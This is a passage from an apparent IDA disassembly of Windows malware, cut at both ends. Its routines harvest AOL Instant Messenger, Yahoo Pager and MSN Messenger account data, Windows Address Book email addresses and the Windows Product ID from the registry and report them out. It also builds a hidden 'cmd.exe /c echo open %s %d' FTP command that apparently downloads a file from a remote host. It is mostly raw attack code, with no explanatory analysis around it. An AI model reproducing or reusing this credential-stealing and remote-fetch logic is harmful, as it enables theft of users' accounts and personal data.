16F4h, 7C244C8Dh, 89D86851h, 4A8D0044h dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0E8905718h dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh dd 24448B04h, 0E890501Ch, 24D9FD8h, 1C244C8Dh, 182444C7h dd 80h, 196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h, 4489A8h dd 6852F08Bh, 448998h, 0C8E89056h, 68001BC7h, 444E5Ch dd 71E89056h, 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h dd 80h, 0E850646Ah, 7780AAF9h, 0CC48390h, 4C74C085h, 7C244C8Dh dd 44897C68h, 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h dd 16F4249Ch, 548D0000h, 68527C24h, 448960h, 0E8694B8Dh dd 0FFFCB3EDh, 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h dd 0FCB74EE8h, 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h dd 0E8560A74h, 777F60FBh, 4C48390h, 1C24548Bh, 0D1E89052h dd 8D024D9Eh, 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh dd 0E9FFFCB0h, 184h ; --------------------------------------------------------------------------- loc_436148: ; CODE XREF: ___:00435BD1j lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4362CC lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2940000h test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_4488F8 push ecx mov dword ptr [esp+2Ch], 100h nop call near ptr 28F0000h test eax, eax jz short loc_4361D2 mov edx, [esp+10h] push edx call near ptr 2910000h nop jmp loc_4362CC ; --------------------------------------------------------------------------- loc_4361D2: ; CODE XREF: ___:004361C0j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_511740 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_4488EC mov ecx, ebx call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h call near ptr 2940000h nop test eax, eax jnz loc_4362CC mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h nop call near ptr 28F0000h test eax, eax jz short loc_436289 mov ecx, [esp+10h] push ecx call ebp jmp short loc_4362CC ; --------------------------------------------------------------------------- loc_436289: ; CODE XREF: ___:0043627Ej mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_4362CC: ; CODE XREF: ___:0043615Aj ; ___:0043617Ej ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4364D0 proc near ; CODE XREF: sub_4016FEj var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4364D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_4364D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_436570: ; CODE XREF: ___:loc_401FF5j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017EE mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43680E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2940000h mov eax, [esp+14h] test eax, eax jz loc_43680E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_448F30 push eax call near ptr 28F0000h nop mov eax, [esp+14h] push eax nop call near ptr 2910000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx nop call near ptr 2860000h push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_436649 push edi nop call near ptr 2840000h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436649: ; CODE XREF: ___:00436631j push 0 push 0 push 0 push 4 push ebx nop call near ptr 27205CEh mov esi, eax test esi, esi jnz short loc_436679 mov esi, dword_5118E0 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: ___:0043665Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_436718 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4366BB: ; CODE XREF: ___:0043670Ej xor eax, eax mov ecx, edi loc_4366BF: ; CODE XREF: ___:004366CFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4366BF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h add edi, 44h dec ebx jnz short loc_4366BB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_436718: ; CODE XREF: ___:004366A7j push edi mov edi, dword_5118E0 call edi push esi call near ptr 272075Fh nop push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2940000h test eax, eax jnz loc_43680E mov ebx, dword_511C00 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_436767: ; CODE XREF: ___:004367FEj mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_448A38 push ecx call ebx mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h call near ptr 28F0000h nop test eax, eax jnz short loc_436803 lea ecx, [esp+2DCh] push ecx push offset dword_448A2C lea ecx, [ebp+69h] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h push 64h nop call near ptr 2830386h jmp loc_436767 ; --------------------------------------------------------------------------- loc_436803: ; CODE XREF: ___:004367C3j mov ecx, [esp+18h] push ecx nop call near ptr 2910000h loc_43680E: ; CODE XREF: ___:00436594j ; ___:004365C4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368D0 proc near ; CODE XREF: sub_401E65j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4368D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_40168B lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4368D0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_40168B add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4369E0 proc near ; CODE XREF: sub_401E6Aj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4369E0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436EB7 push ebp xor ebp, ebp push ebp push offset asc_444600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017EE mov edi, dword_511764 push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017EE mov ebp, dword_51172C push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436B0C lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B7B+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436B0C: ; CODE XREF: sub_4369E0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2910000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436BF4 lea ecx, [esp+144h+var_108] push ecx push (offset loc_448B6F+1) lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436BF4: ; CODE XREF: sub_4369E0+1E4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2910000h nop push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436CDC lea ecx, [esp+144h+var_108] push ecx push offset loc_448B64 lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436CDC: ; CODE XREF: sub_4369E0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2910000h push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017EE push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_436DC4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436DC4: ; CODE XREF: sub_4369E0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2910000h push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017EE push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_444600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017EE push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_436EAD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_436EAD: ; CODE XREF: sub_4369E0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_436F51 ; --------------------------------------------------------------------------- loc_436EB7: ; CODE XREF: sub_4369E0+3Cj lea ecx, [edi+32h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436F57 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 2940000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28F0000h test eax, eax jnz short loc_436F4C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h loc_436F4C: ; CODE XREF: sub_4369E0+539j mov eax, [esp+144h+var_12C] push eax loc_436F51: ; CODE XREF: sub_4369E0+4D2j nop call near ptr 2910000h loc_436F57: ; CODE XREF: sub_4369E0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4369E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4370F0 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_43710D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_437103: ; CODE XREF: sub_4370F0+1Bj cmp [eax+edx], cl jz short loc_437111 inc eax cmp eax, esi jl short loc_437103 loc_43710D: ; CODE XREF: sub_4370F0+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_437111: ; CODE XREF: sub_4370F0+16j pop esi mov al, 1 retn sub_4370F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_437130: ; CODE XREF: ___:00401433j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h nop call near ptr 71AB2B66h mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_4371EC push ebx push ebp call eax add esp, 8 loc_4371EC: ; CODE XREF: ___:004371E3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43722E: ; CODE XREF: ___:004372A7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_43726E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4372A9 loc_43726E: ; CODE XREF: ___:0043723Cj ; ___:0043724Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4372A0 loc_437293: ; CODE XREF: ___:0043729Ej mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437293 loc_4372A0: ; CODE XREF: ___:00437291j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43722E ; --------------------------------------------------------------------------- loc_4372A9: ; CODE XREF: ___:0043726Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_437390: ; CODE XREF: ___:00401D75j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_437442 push ebx push ebp call eax add esp, 8 loc_437442: ; CODE XREF: ___:00437439j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437484: ; CODE XREF: ___:004374FDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4374C4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4374FF loc_4374C4: ; CODE XREF: ___:00437492j ; ___:004374A2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4374F6 loc_4374E9: ; CODE XREF: ___:004374F4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4374E9 loc_4374F6: ; CODE XREF: ___:004374E7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_437484 ; --------------------------------------------------------------------------- loc_4374FF: ; CODE XREF: ___:004374C2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi push ebp call esi add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4375F0: ; CODE XREF: ___:00401FFFj mov eax, 200Ch call sub_437B30 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call near ptr byte_5F285B lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and 